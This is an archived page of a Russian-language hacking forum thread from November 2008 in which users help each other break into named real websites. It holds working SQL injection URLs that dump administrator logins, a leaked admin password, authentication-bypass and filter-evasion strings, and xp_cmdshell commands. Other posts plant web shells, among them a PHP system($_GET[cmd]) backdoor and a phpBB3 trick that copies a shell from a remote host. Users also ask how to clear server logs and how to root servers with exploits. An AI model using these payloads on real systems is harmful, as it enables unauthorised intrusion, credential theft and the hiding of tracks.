Ваши вопросы по уязвимостям. [Архив] - Страница 16

Calcutta

19.11.2008, 18:40

Вопрос такой:
могу заливать и вешать баннеры на одном хосте.
проверки антивирем содержимого баннера нету, фильтрация по расширению не стоит (вроде как).
Директорию, куда пишутся файлы не получилось определить, и походу там есть несколько моих вебшеллов :-/

возможно ли записать в тело баннера код, который бы автоматичевки выполнялся при загрузке баннера?
что можно выжать максимально из возможности заливки и вывешивания баннеров (что-то вроде iframe, автоматической переадресации на "нужный сайт", запихнуть в него сплоит. или что нибудь в таком духе)

В вопросе по устройству и возможностях swf-файлов ничего не знаю, вот и задаю вопрос (-

ThreeD

19.11.2008, 18:42

Определи директорию банально. Просто "копировать адрес рисунка", после имя твоего файла допишешь и всё.

Calcutta

19.11.2008, 19:07

Определи директорию банально. Просто "копировать адрес рисунка", после имя твоего файла допишешь и всё.
баннер это не картинка, a "Shockvawe Flash Object" :-\ анимашка.

data="http://_______/banners/c99madshell.php.SWF"
.........
<param name="movie" value="banners/c99madshell.php.SWF">

захожу в дерикторию /banners/ и она пустая, файлов нет Х___х
нужны действующие способы (- репой закидаю (-

o3,14um

19.11.2008, 19:54

Если баннер заливается (и не в БД) и с любым расширением - то можешь просто в конец флешки записать шелл в хекс-редакторе. Если расширение полюбому SWF, то те нужно именно флешку заливать с определённым кодом (ЭкшенСкрипт) редиректа - это максимум

[Raz0r]

19.11.2008, 20:09

смотри вот этот эксплоит под мой вариант прокатит?
http://milw0rm.com/exploits/6304
не прокатит, потому что это не эксплоит, а шеллкод

peonix

19.11.2008, 20:29

http://www.a-shop.ru/product_info.php?products_id=-1'+union+select+concat(username,char(58),password) +from+administrators/*

http://www.a-shop.ru/admin
sergey : q1w2e3
там есть менюшка с логами , вот как их отчистить?

_nic

19.11.2008, 23:39

Как можно безпалевно проверить днс сервер на эту http://www.securitylab.ru/vulnerability/355730.php дыру?

Sindicat

19.11.2008, 23:57

Помогите все знаю, но логин и пасс не могу выташить
_http://www.gamesector.org/review.php?id=-297+union+select+1,2,3,concat_ws(0x3a3a,column_nam e),5,6,7+from+information_schema.columns+where+tab le_name=char(112,111,108,108,95,117,115,101,114)--

_http://www.gamesector.org/review.php?id=-297+union+select+1,2,3,concat(username,

0x3a,userpass),5,6,7+from+poll_user--

ThreeD

19.11.2008, 23:58

_nic
Вопрос,как я понимаю, риторический? КАК вообще можно сделать что либо в сети безпалевно?
Они следят за нами. Всегда! xD

ThreeD

20.11.2008, 00:03

Sindicat
Я точно не смотрел, но кажется что надо пробить тебе на database(), а потом просто использовать конкатенацию +from+database_name.table_name
И зачем чарить в конце? Захекси =)
Честно-лень смотреть. Мог бы и не писать,скажете вы. Но не писать вообще лень =)
Там же вообще выводится что либо? Принтабельные есть? Т.к. ошибка скачет постоянно...
Без обид, я немного выпил "за сегодняшний удачный день!" =)

Jokester

20.11.2008, 00:06

ThreeD абсолютно прав, мне было не лень )
http://www.gamesector.org/review.php?id=-297+union+select+1,2,3,concat(username,%200x3a,use rpass),5,6,7+from+d8242sd5804.poll_user--

Sindicat

20.11.2008, 00:24

спасибо !!! мне все - ровно не понятно я вывел database() , получил d8242sd15320 - а у тебя получился d8242sd5804 почему так ?

ThreeD

20.11.2008, 00:28

Sindicat
Видимо таблица poll_user относится к d8242sd5804 а не к d8242sd15320, иначе бы и конкатенацию использовать не пришлось. Не одна база просто, и ты сидишь не под нужной тебе. А используя d8242sd5804.poll_user, ты получаешь инфу из нужной тебе базы, которой является d8242sd5804, к которой и относится таблица poll_user.
В базе d8242sd15320 таблицы poll_user нет. Юзай concat_ws(0x3A3a,table_schema,table_name)+from+inf ormation_schema.tables , чтобы узнать к какой базе относится нужная тебе таблица.

Ershik

20.11.2008, 00:39

На сайте под управлением mssql access есть уязвимость в авторизации.
пытаюсь скомбинировать как в mssql
admin'
or 1=1--
но не получается. Как правильно ввести данные?

diznt

20.11.2008, 00:42

Народ объясните что такое в шелле C99 в тулс.....

Binding port
Back connection
Datapipe

ЧТО ЭТО ВООБЩЕ ТАКОЕ??? если можно то каждую функцию отдельно объясните

ThreeD

20.11.2008, 00:46

Биндшелл, это когда открывается порт на машине.Binding port.
Бэкконект рулит когда тачка за натом, к твоей тачке коннектит, а ты на свой врубаешь неткат и слушаешь порт, на который должен быть коннект. Хотя я могу ошибаться, но вроде таг =) *пошёл за пивом* ))))

Jokester

20.11.2008, 00:47

На сайте под управлением mssql access есть уязвимость в авторизации.
пытаюсь скомбинировать как в mssql

но не получается. Как правильно ввести данные?
Access не поддерживает комментарии вот это "--" не катит, прочитай наконец статью

https://forum.antichat.net/threadnav50550-1-10.html

ThreeD

20.11.2008, 00:48

diznt
ЭЭЭ. Ёпта, там датапайп исчо...
Вроде он перебрасывает tcp/ip пакеты на другой хост, любой. Для анонимности типа.

Grey

20.11.2008, 00:54

На сайте под управлением mssql access есть уязвимость в авторизации.
пытаюсь скомбинировать как в mssql

но не получается. Как правильно ввести данные?

Это так теория, в твоём случае она не применима, но знать будет полезно (для других БД, к примеру мускул).

Это зависит только от запроса, т.е. найти вариант, который прокатывал бы в каждой админке с уязвимой авторизацией не реал.

1. "--" будет служить символом комментария только если после этого чуда идёт пробел, а в админках часто используется обрезание пробельных символов по краям, так что лучше юзать так: "-- 1".

2. Пробывать лучше это:

login' or 1=1-- 1
password' or 1=1-- 1

3. Часто бывает что без извращений с юнионом в админку по скуле в авторизации не попасть, но тут не видя сорца скрипта сделать что либо почти не реал.

Хотя в крации расскажу:

Если авторизации (т.е. проверка правильности введённой инфы) проходит только по результату запроса, то прокатывает посдановка вышеуказанной комбинации.
А бывает, что из запроса (по логину) достается соотвествующий пароль или хеш пароля, а уже затем он сравнивается с введённым тобою, что то вроде этого:

select password from admin where login = '$login';

В таких случаях нужно через объединение запросов впихивать левые данные:

логин = 1' and 1=2 union select 'pass'-- 1
И пароль соответственно = pass

Ну или есть хеширование:

логин = 1' and 1=2 union select md5('pass')-- 1
И пароль соответственно = pass

Но это так теория, на практике это будет геморно осуществить.

4. Ещё как вариант попробовать раскрутить инъекцию как слепую - тоже частенько удаётся сделать.

ThreeD

20.11.2008, 01:15

4. Ещё как вариант попробовать раскрутить инъекцию как слепую - тоже частенько удаётся сделать.

В данном случае ты имеешь ввиду посимвольный перебор с использованием подзапросов? Я не сталкивался ни разу с подобным извращением в авторизации. Можно конкретнее (примерчик например )).

diznt

20.11.2008, 01:22

ThreeD а что он слушает то на бек конекте???

ThreeD

20.11.2008, 01:42

дизнт
А как ты думаешь? ) Музыку в основном.

_nic

20.11.2008, 02:26

_nic
Вопрос,как я понимаю, риторический? КАК вообще можно сделать что либо в сети безпалевно?
Они следят за нами. Всегда! xD
Ну а как хоть как то чекнуть днс на эту дырку http://www.securitylab.ru/vulnerability/355730.php ???

peonix

20.11.2008, 22:33

ThreeD

20.11.2008, 22:41

Чар тебе в помощь.

peonix

20.11.2008, 23:22

чар тоже не работает)), как быть?

peonix

20.11.2008, 23:57

можно ли пролезть вот в такую багу сайта?
http://www.hotindex.ru/Details.aspx?id=6927

The matrix

21.11.2008, 05:29

Багом назвать это трудно конечно...

o3,14um

21.11.2008, 06:08

Народ вот нашел уязвимость, судя по всему там стоит MSSQL, как дальше добить эту скулю не пойму, так как там нельзя использовать буквы
http://www.pc.kg/index.php?pageid=2&tg=-1+union+select+null,null,123+from+information_sche ma.tables--

Первое поле нормально выводится:

http://www.pc.kg/index.php?pageid=2&tg=-1+union+select+table_name,null,null+from+informati on_schema.tables--

можно ли пролезть вот в такую багу сайта?
http://www.hotindex.ru/Details.aspx?id=6927

нельзя, это не баг

Ghost0ff

21.11.2008, 11:47

помогите.. через mysql подобрал таблицы и колонки нашел таблицу wp_users запросом через information_schema в ней через information_schema.columns намел калонку user_pass и user_name вообщем все что нужно для счастья. но при запросе 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15+from+w p_users -- пишет Table 'hoys.wp_users' doesn't exist и ошибки тоесть он не может таблицу найти автоматом приписывает логин свой... в чем проблема? как это обойти?

Jokester

21.11.2008, 14:42

Ghost0ff Она в другой базе, это 1000000 раз разбиралось, последний раз вчера в этой-же теме
тоесть он не может таблицу найти автоматом приписывает логин свой... в чем проблема? как это обойти?О_o Какой ещё логин? :D

Pashkela

21.11.2008, 14:44

1) Ищем что такое на самом деле hoys:

+union+select+1,table_schema,3,4,5,6,7,8,9,10,11,1 2,13,14,15+from+information_schema.columns+where+t able_name='wp_users'--

Допустим вывело на экран "forum", тогда твой запрос будет такой:

2) 1,user_pass,3,4,5,6,7,8,9,10,11,12,13,14,15+from+f orum.wp_users --

Jokester

21.11.2008, 14:55

1) Ищем что такое на самом деле hoys:Я тебе без вяких поисков скажу, это база с которой работает скрипт
(только тсссс, это превад инфа) :D

Ghost0ff

21.11.2008, 16:16

О! все выбил хэш. Спасибо большое. +1. впредь глупых вопросов забавать не буду ;)

SHS

21.11.2008, 16:32

Есть sql server с правами SA. Через xp_cmdshell телнетится с него куда-либо не могу , но могу пинговать. Как можно внешний ip этого sql сервера пробить. К примеру у меня есть дедик (WIN). Что можно на него заинсталить, чтоб оно отображало кто пингует? :) ТОлько простенькое, файр туда ставить не хочется :D

criz

21.11.2008, 16:46

SHS, ставь сниффер :)

SHS

21.11.2008, 16:59

Cain & Abel сойдет? И где там палить эти пакеты. :)

criz

21.11.2008, 17:09

Хз, каина не юзал. Юзал вот это:
http://www.winpcap.org/windump/install/
или
http://www.softportal.com/screenshot-4938-tcpdump-for-windows.html

SHS

21.11.2008, 17:20

Пробну через Ettercap пожалуй.

SHS

21.11.2008, 18:11

Не вышло чет, мб я что-либо сделал неправильно. Жду советов. Желательно по конкретнее что да как )

[Raz0r]

21.11.2008, 18:28

Скачивай tftp сервер (http://tftpd32.jounin.net/tftpd32_download.html), запускай на своем компе, указав папку, из которой будут закачиваться файлы на удаленный сервер. Теперь выполняй команду через инъекцию:
;exec master..xp_cmdshell 'tftp -i [твой ip] GET [любой файл из папки] [путь нового файла]'--
например
;exec master..xp_cmdshell 'tftp -i 12.34.56.78 GET blabla.txt C:\blabla.txt'--
Во время закачивания файл на удаленный сервер, можно видеть список активных подключений. Во вкладке Log viewer также можно увидеть адреса всех клиентов.

[:|||||:]

21.11.2008, 18:30

палевно все-таки к своему айпи конектица...

SHS

21.11.2008, 18:51

Да вот в том то и дело, что кроме пинга я ничего не могу делать (видать файр, ито не стандартный).

o3,14um

21.11.2008, 18:57

так можно не к своему =)

criz

21.11.2008, 20:05

SHS, чем win(tcp)dump не нравится? :) Запускаешь и ловишь пакеты ;)

SHS

21.11.2008, 21:15

Просто я никогда их не использовал. Мой любимый сниф- Ettercap. Другие познавать это время, а времени нет.

criz

21.11.2008, 21:25

Там не нужно ничего познавать. Единственный аргумент, который тебе придется использовать это "-i", для указания интерфейса(если он не один).
Пример:
C:\tcpdump.exe -i 2
Все :)

tempuser

21.11.2008, 22:34

Привет!
Надеюсь пишу в нужную тему. Ситуация: есть самописный движок на ASP .NET, база Access. Пытаюсь сделать SQL inj вида:

_http://url/page.aspx?page=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+from+tablename%00

При этом получается ошибка: Exception Details: System.InvalidCastException: Specified cast is not valid. Т.е. как я понимаю где-то в запросе данные преобразуются и проверяются... Можно ли как-то просто вычислить это место?

Табличка и тип базы точно известны, т.к. удалось успешно использовать почти такую же inj в другом проекте на этом движке :-) Но там использовалась уязвимость в части, которой на нужном сайте просто нет. Число параметров подобрано по order by

sabe

21.11.2008, 23:42

tempuser
помнится когда я хекал maccess делал чтото типо этого для вывода табл.
http://site.com/page.aspx?page=1+or+1=(SELECT+TOP+1+TABLE_NAME+FRO M+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+I N+('views'))--
а так бы ссылочку посмотреть )

[Raz0r]

21.11.2008, 23:51

помнится когда я хекал maccess делал чтото типо этого для вывода табл.
это был mssql, а не access
Exception Details: System.InvalidCastException: Specified cast is not valid
видимо проблемы с преобразованием типов данных, хотя для access это не свойственно. Возможное решение можно бы было найти в MS Access Cheat Sheet, но тот сайт закрыли. Ни у кого не осталось?
upd а вот нашел - http://www.xuexi123.net/chm/MS%20Access%20SQL%20Injection%20Cheat%20Sheet.htm
правда инфы по поводу преобразования типов данных нет

Pashkela

21.11.2008, 23:56

Time Machine

tempuser

21.11.2008, 23:58

tempuser
помнится когда я хекал maccess делал чтото типо этого для вывода табл.

а так бы ссылочку посмотреть )

Зачем в INFORMATION_SCHEMA.TABLES лезть то? Во первых её просто нету в access (вы с MySQL путаете :-) ), а во вторых имя нужной таблицы с пользователями известно на 100%. Также известны имена полей в этой табличке. Известна даже админка ))) Но блин тип какого то параметра походу не совпадает... И обломс.

Ссылочку - сорри. Сайт довольно дружественный, не хотелось бы случайно вандализировать :-) Ковыряюсь в нем из чистого любопытства.

Вот более подробно сообщение об ошибке:

Server Error in '/' Application.
Specified cast is not valid.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.InvalidCastException: Specified cast is not valid.

Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace:

[InvalidCastException: Specified cast is not valid.]
System.Data.OleDb.OleDbDataReader.GetBoolean(Int32 ordinal) +44
ecomm.CPage.InitFromDataReader(OleDbDataReader dr)
ecomm.CPage..ctor(String ID, String PageName, String conStr)
ecomm.PageTemplateControl.get_vieName()
ecomm.PageTemplateControl.InitControl()
ecomm.TemplateControl.CreateChildControls()
System.Web.UI.Control.EnsureChildControls() +100
System.Web.UI.Control.PreRenderRecursiveInternal() +38
System.Web.UI.Control.PreRenderRecursiveInternal() +125
System.Web.UI.Control.PreRenderRecursiveInternal() +125
System.Web.UI.Control.PreRenderRecursiveInternal() +125
System.Web.UI.Page.ProcessRequestMain() +1499

Version Information: Microsoft .NET Framework Version:1.1.4322.2407; ASP.NET Version:1.1.4322.2407

[Raz0r]

22.11.2008, 00:05

http://url/page.aspx?page=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21+from+tablename%00
попробуй все числа null'ами заменить:
union select null,null,null,...
потом последовательно заменяй null на числа, строки.
Вот список функций в Access, может понадобиться:
http://www.techonthenet.com/access/functions/index_alpha.php

tempuser

22.11.2008, 00:18

попробуй все числа null'ами заменить:

Помогло :-) Правда не до конца, но похоже он ругается на четвертый параметр, при замене его на null ошибка изменяется на
Exception Details: System.NullReferenceException: Object reference not set to an instance of an object.

tempuser

22.11.2008, 00:55

Пока ситуация такова:
1. На 2 следующих запроса
1,2,3,null,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21
1,2,3,CDec(1),5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21
отвечает Object reference not set to an instance of an object

2. На все остальное вида
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21
1,2,3,CHR(66),5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21
отвечает Specified cast is not valid . Проверены int, string, byte, bool, всякие даты, CDate.

null и double... Что у них общего и чем они отличаются от int или char? Или с double уже угадал и ему не нравится что то ещё? Но если угадал, то почему ошибка на остальное не cast как раньше а object reference?

tempuser

22.11.2008, 01:32

В общем сервер немножко сломался :lol: Счас выкидывает ошибку Unspecified error прямо на главной странице сайта и в общем то не работает. Мда... Перестарались.......

S0ulVortex

22.11.2008, 19:15

Вопрос с активной хсс вобщем на внтутресетевом торенте нашол активную хсс. Когда делаеш раздачю в название пишеш название потом пишу хсс она пашет но она отображается в название можно её скрыть как-то ?

gurman94

23.11.2008, 03:35

Народ имееться шелл на двиге SMF 1.1.4
Когда смотрю Л.С. через базу то меня интересует когда ПМ отправилось!
А там показываеться это!

msgtime

1227282680

Как это понимать?

Pashkela

23.11.2008, 04:58

<?
echo date("d.m.Y H:i", 1227282680);
?>

21.11.2008 18:51

d1aVOL

24.11.2008, 22:07

имеется sql inj
_http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,2,3,4--
если делаю чтонибудь наподобие:
_http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,VERSION(),3,4--
то выводится ошибка:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
что я не правильно делаю? как тут быть?

[Raz0r]

24.11.2008, 22:09

http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(VERSION())),3,4--
я первый!

.Slip

24.11.2008, 22:10

http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(VERSION())),3,4--

add:
Raz0r, :(

Nightmarе

24.11.2008, 22:24

Ребят, вот на первый взгляд SQL на сайте Онтона Усральского:
http://anton-uralskiy.ru/index.php?option=com_fireboard&Itemid=-1'+union+select+1/*

Пробовал по всякому, в начале подставлял и -1, и -1' и -1%27, -1%2527
В конце и /* потом # далее +-- и просто -- %23.

Но всё глухо, нигде нету "предложения" правильно указать колонки.
Я в этом не очень хорошо шарю, тут возможен вывод, или просто обычная ошибка?

.Slip

24.11.2008, 22:28

Главная You have an error in your SQL syntax near \'union+select+1/*\', \'90.150.48.**\', \'0\')\' at line 1 SQL=INSERT INTO jos_fb_whoisonline (`userid` , `time`, `what`, `task`, `do`, `func`,`link`, `userip`, `user`) VALUES (\'0\', \'1227551255\', \'Главная\',\'\',\'\',\'\',\'/index.php?option=com_fireboard&Itemid=-1\'+union+select+1/*\', \'90.150.**.**\', \'0\')

Скуль в инсерте. Толку нету. Таблица бестолковая, да и magic_quotes_gpc = on. Можешь забить на неё.

o3,14um

25.11.2008, 02:57

Ghost0ff

25.11.2008, 03:02

o3,14um

25.11.2008, 03:28

видимо, любую пхп комманду =)

Nightmarе

25.11.2008, 03:52

Вопрос такой... phpbb3 форум.. я задал тут вопрос как мне через админку залить шелл? ответили что через восстановление базы и в коде :UPDATE forum_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig=phpinfo() WHERE user_id=2;
Сработало однако )) Но вот незадача... я хз че дальше то делать. Что можно выполнить используя данный код. что то прописать в нем вместо phpinfo()? подскажите...
Пиши пиши....
copy('http://sute.ru/shell.txt','/home/site/phpbb3/avatars/shell.php');
Примерно так... в первом параметре ссылку на шелл во втором полный путь до файла который создать.

Ershik

25.11.2008, 05:33

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
Здесь проблема в кодировке, или в отстутсвии оператора UNION?

ThreeD

25.11.2008, 05:37

В кодировке. Пробуй convert(concat(version())+using+latin1)

Pashkela

25.11.2008, 05:45

union+select+1,unhex(hex(version())),3/*

ThreeD

25.11.2008, 05:50

convert(version(),binary)
AES_DECRYPT(AES_ENCRYPT(CONCAT(version()),0x71),0x 71)
...
Давай все поперечисляем?

Ershik

25.11.2008, 05:57

Действительно, в кодировке.
Спасибо :)

Ghost0ff

25.11.2008, 06:41

хм... вот такая вот ошибочка когда пытаюсь залить код с copy:
SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx/httpdocs/f' at line 1

UPDATE forum_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='forum:copy('http://shall57.narod.ru/shall.txt','/usr/local/www/vhosts/xxx.ru/httpdocs/forum/avatars/shall.txt')' WHERE user_id=2

Line : 980
File : admin_db_utilities.php

Подумал можт дело в '' убрал их... залилось но выдает пустую страничку (((((

sabe

25.11.2008, 07:28

Ghost0ff
в пхпбб какой версии пытаешся залить шелл? кинь данные в пм зделаю)

krypt3r

25.11.2008, 07:38

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.

Ghost0ff

25.11.2008, 10:51

Ясен пень, что дело в кавычках. Внутренние апострофы экранировать надо.
хм... это как? оО кинь ссылко на источник или объясни плз

DimOnOID

25.11.2008, 10:54

а что system(wget get и т.д) уже не в моде? или отключён? Лишний гемор всё это...

ThreeD

25.11.2008, 11:33

а что system(wget get и т.д) уже не в моде? или отключён? Лишний гемор всё это...
+1
Всё равно спросят )
'<?system($_GET[cmd]);?>'
Или так, если кавычки не катят.
0x3c3f2073797374656d2824636d64293b203f3e
Потом обращаешься к нему
shell.php?cmd=ls -la
wget'oм заливаешь шелл со своего хоста.

WisP™

25.11.2008, 15:15

Подскажите как бороться с такой ошибкой?

error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

столбцов 24,судя по order by!
Ссылку выложить к сожалению не могу

[Raz0r]

25.11.2008, 17:35

@WisP™
error in query 'select *, count(news_id) as news_count, news_id, category.category_id from category left join news using(category_id) where category.category_id = 38 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/* group by category.category_id' Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause
там же LEFT JOIN, нужно так:
-1 GROUP BY category.category_id UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24/*

d1aVOL

25.11.2008, 18:28

опять я запутался..

urbanwild@localhost - user
5.0.17-nt-log - version

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
VIEWS
USER_PRIVILEGES
menu
wysiwyg
tbl_news
tbl_pages
tbl_wysiwyg

не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1--

Calcutta

25.11.2008, 18:35

опять я запутался..
не могу посмотреть содержимое столбцов
http://www.heimlichinstitute.org/page.php?id=-1+union+select+1,unhex(hex(COLUMN_NAME)),3,4+FROM+ INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='USER_ PRIVILEGES'+LIMIT+1,1--

хекси название таблиц без кавычек.
http://snak3.h17.ru/tools

к примеру USER_PRIVILEGES будет выглядеть как:16bit:0x555345525f50524956494c45474553

Octave_Parango

25.11.2008, 19:01

Приветствую Всех.

Вытащил все из /etc/passwd/ вот такого вида:

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...

Подскажите, как дальше действовать?

Calcutta

25.11.2008, 19:26

Приветствую Всех.

Вытащил все из /etc/passwd/ вот такого вида:

Как я понимаю, тут одни логины, пассы должны лежать в etc/shadow, там пусто, так как доступно только для пользователя с рутовами правами...

Подскажите, как дальше действовать?
хэши паролей заменены на 'x', так что содержание файла бесполезное.

посмотри так же: /etc/shadow.old
/etc/passwd.tmp
/etc/master.passwd

но сомневаюсь, что ситуация изменится (-

Octave_Parango

25.11.2008, 19:49

хэши паролей заменены на 'x', так что содержание файла бесполезное.

посмотри так же: /etc/shadow.old
/etc/passwd.tmp
/etc/master.passwd

но сомневаюсь, что ситуация изменится (-

Да, везде пусто. Обидно.
Еще как-нибудь можно подлезь? Есть варианты?

Parti

25.11.2008, 19:56

Добрый день

Подскажите пожалуйста как вывести в ошибке MSSQL данные типа "int"

1+or+1=(SELECT intColumn ...) не вызывает ошибки в случае если column имеет тип int, только при varchar.

Спасибо.

DimOnOID

25.11.2008, 19:58

Да, везде пусто. Обидно.
Еще как-нибудь можно подлезь? Есть варианты?
а порутать с помощью сплоента?!

Octave_Parango

25.11.2008, 20:30

а порутать с помощью сплоента?!

Какой посоветуешь?

chekist

25.11.2008, 20:35

Какой посоветуешь?

введи uname -a, напиши на форуме что выдаст

SHS

25.11.2008, 21:39

Вопрос:
Короче есть бажный параметр mssql-inj.
.asp?id=.....
Запросы типа -1+or+1=(@@version), db_name() и тд проходят на ура.
Скрипт фильтрует операторы (select, update, и тд..).
Какие методы обхода фильтраций существуют? В mysql много знаю, а вот s mssql впервые столкнулся.

DimOnOID

25.11.2008, 22:32

ссылку в пм или сюда

[Raz0r]

25.11.2008, 22:42

[Raz0r]

25.11.2008, 22:45

Какие методы обхода фильтраций существуют? В mysql много знаю, а вот s mssql впервые столкнулся.
';EXEC('SEL'+'ECT US'+'ER')--

Parti

25.11.2008, 23:40

']1 or 1=(SELECT cast(name as nvarchar(4000)) FROM table)--
1 or 1=(SELECT convert(nvarchar,name) FROM table)--
Оба эти запроса не выдали ошибку :S.

Используется mssql в связке с ASP.Net.

Microsoft SQL Server 2000 - 8.00.2187 (Intel X86) Mar 9 2006 11:38:51 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)

[Raz0r]

25.11.2008, 23:52

попробуй так
1 or 1=(select convert(int,substring(convert(varchar,name)+char(5 8),1,999)) from table)--

AHMED HASSAN

26.11.2008, 03:45

hi

sorry need to write in english

http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12 ,13%20from%20mysql.user

i got all that and when user

http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,user,6,7,8,9,10,11 ,12,13%20from%20mysql.user

doesnt appear

how to move on

thanx

SHS

26.11.2008, 10:51

']';EXEC('SEL'+'ECT US'+'ER')--

Exec тоже под фильтром.
Я попробовал сделать так :
page.asp?id=-1+or+1=(char(0x73)%2bchar(0x65)%2bchar(0x6c)%2bcha r(0x65)%2bchar(0x63)%2bchar(0x74)%2bchar(0x7e)%2b+ user)--sp_password

Получил:

[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'select~dbo' to data type int.

Если же попробовать к примеру top 1 table_name from .... , то тут уже нестыковка синтаксиса.

Imperou$

26.11.2008, 10:55

Салют народ =)
Прошу помощи.
Подобрал поля через order by (скуля),при попытке вывести поля через union select выводит страницу 403 Forbidden

Forbidden

You don't have permission to access /page/about_tema.php on this server.

Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
__________________________________________________ __
Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80

Поля подобрал верно стопудофф.
Ввожу
/page/about_tema.php?id=16+union+select+1,2,3,4,5,6--
и ппц. :(
Что это может быть и как бороться?

-=lebed=-

26.11.2008, 11:16

Вы не имеете прав доступа к /page/about_tema.php. 403 - Запрещено!

Imperou$

26.11.2008, 11:22

Я понимаю, что запрещено. Я спарашиваю почему, и как это обойти.
Ведь я могу обращаться к скрипту просто, и при подборе ордер бай тоже могу, всё выводит как надо, но при юнион селект вот такая фигня.

Calcutta

26.11.2008, 11:29

читай личку. возможно поможет (-

Imperou$

26.11.2008, 11:40

Спасибо. Помогло, практически. Но суть понял )
+

_Pantera_

26.11.2008, 12:16

Салют народ =)
Прошу помощи.
Подобрал поля через order by (скуля),при попытке вывести поля через union select выводит страницу 403 Forbidden

Поля подобрал верно стопудофф.
Ввожу
/page/about_tema.php?id=16+union+select+1,2,3,4,5,6--
и ппц. :(
Что это может быть и как бороться?
Там фильтры стоят на комбинации union select и прочее. Надо вот так:
http://www.site.com/pages/blog_historial.php?MUESBLOG=BLOG&VALOTEMA=107+AND+ascii(lower(substring(version(),1 ,1)))=53
стоит 5 версия мускула, можно при желании все вытянуть...
/home/site/public_html/ путь от корня к WWW
Можно просматривать содержимое каталога:
http://www.site.com/admin/includes/
Вот сдесь по всей видимости конфигурационные данные
http://www.site.com/admin/includes/configuracion.php

Система - линукс
Открытые порты: 21, 25, 26, 53, 80, 110, 143, 443, 465, 993, 995, 3306
Думаю самый вариант в твоем случае ломать соседние сайты, а их 346 =)

PS адресс сайта убрал по просьбе Imperou$

Imperou$

26.11.2008, 12:44

Всем спасибо.
_Pantera_ в частности. Разобрался. Вопрос решён.

spherics

26.11.2008, 13:17

[Raz0r]

26.11.2008, 13:21

@AHMED HASSAN
the first record in the mysql.user table is empty, so start with the second one:
http://www.fcmetz.com/voir.php?id=-5036%20union%20select%201,2,3,4,5,concat(user,0x3a ,password),7,8,9,10,11,12%20,13%20from%20mysql.use r+limit+1,1

@zannussi
похоже на самописный двиг

d1aVOL

26.11.2008, 22:36

можно ли как-нибудь кроме брута узнать названия столбцов/таблиц, если версия муслуля менше 5?

DimOnOID

26.11.2008, 22:41

можно ли как-нибудь кроме брута узнать названия столбцов/таблиц, если версия муслуля менше 5?
нет

j0ker13

27.11.2008, 01:22

есть небольшая загвоздка) понять почему так не могу((
на сайте sql inj. данные из одного запроса вставляются в другой но суть не в этом вроде... есть файл_прив /etc/passwd читает но файл из директории ниже не хочет читать(( хотя он точно есть)может он слишком большой?и еси так то что можна сделать?

_Pantera_

27.11.2008, 02:10

Octave_Parango

27.11.2008, 06:49

Всем привет!

Разъясните...

Есть скуля - information_schema - доступно.

далее:
